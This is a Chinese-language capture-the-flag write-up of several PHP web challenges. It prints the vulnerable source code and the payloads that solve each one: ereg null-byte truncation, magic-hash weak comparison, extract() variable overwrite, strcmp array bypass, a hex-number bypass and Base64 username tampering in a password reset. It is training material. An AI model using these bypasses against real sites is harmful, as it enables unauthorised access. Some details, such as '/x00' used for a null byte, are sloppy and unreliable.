/x00
view-source:
if (isset ($_GET['nctf'])) {
if (@ereg ("^[1-9]+$", $_GET['nctf']) === FALSE)
echo '必须输入数字才行';
else if (strpos ($_GET['nctf'], '#biubiubiu') !== FALSE)
die('Flag: '.$flag);
else
echo '骚年,继续努力吧啊~';
}
这题考ereg()函数漏洞,该函数存在两个漏洞:
(1)%00截断及遇到%00则默认为字符串的结束。
(2)当ntf为数组时它的返回值不是FALSE。
题目要求以数字开始和结束,并且存在‘#biubiubiu’,所以一开始我构造的是
?nctf=123/x00#biubiubiu
发现并没有用,后尝试
?nctf=123%00#biubiubiu
也没用,后考虑#可能被编码,故改成
?nctf=123/x00%23biubiubiu
发现出现flag。(%23是#的url编码)。
bypass agagin
bypass
这题考的是PHP “==”属于弱类型,比较内容不比较类型。有点类似于CTF刷题记录(一)里的md5-collision。直接构造payload
http://chinalover.sinaapp.com/web17/index.php?a=240610708&b=QNKCDZO
变量覆盖
这题挺有趣的,涨姿势了。查看source.php,发现源代码
<?php
extract($_POST);
if ($pass == $thepassword_123) { ?>
<div class="alert alert-success">
<code><?php echo $theflag; ?></code>
</div>
<?php } ?>
<?php }
发现使用extract函数,存在变量覆盖漏洞,故使用hackbar工具post,使用thepassword_word覆盖源码中的thepassword_123。
http://chinalover.sinaapp.com/web18/index.php
上传绕过
上传绕过
刚看完《白帽子讲web安全》,对这个漏洞印象深刻。这题考到了文件截止。随便上传了一个文件,发现提示只能上传jpg、png、gif类型文件。
根据要求上传jpg文件,发现提示:
来,开干!参考https://blog.csdn.net/wy_97/article/details/76549405
SQL注入1
这题目卡了我很久,确实在sql这方面比较差,具体参考:https://www.cnblogs.com/findneo/p/nupt-ctf-writeup.html
pass check
$pass=@$_POST['pass'];
$pass1=***********;//被隐藏起来的密码
if(isset($pass))
{
if(@!strcmp($pass,$pass1)){
echo "flag:nctf{*}";
}else{
echo "the pass is wrong!";
}
}else{
echo "please input pass!";
}
?>
这题考得是strcmp函数漏洞,构造payload:
pass[]=1
看到页面显示flag。
起名字真难
<?php
function noother_says_correct($number)
{
$one = ord('1');
$nine = ord('9');
for ($i = 0; $i < strlen($number); $i++)
{
$digit = ord($number{$i});
if ( ($digit >= $one) && ($digit <= $nine) )
{
return false;
}
}
return $number == '54975581388';
}
$flag='*******';
if(noother_says_correct($_GET['key']))
echo $flag;
else
echo 'access denied';
?>
可以看到key只有等于54975581388才可以输出flag,但是若构造payload:?key=54975581388,肯定不满足要求,因为每一位都落在1,9之间,函数判定为flase;故可以想到用十六进制输入,构造payload
?key=0xccccccccc
得到flag。
密码找回
这题提示admin密码,但是账号为ctfuser且readonly,F12删去readonly重置发现无效。Burp抓包,发现
user1=Y3RmdXNlcg==,这里Y3RmdXNlcg==我一直不知道是什么,后百度知道是Base64编码,对其解码得ctfuser,遂想到将user1改为YWRtaW4=(admin的Base64编码)。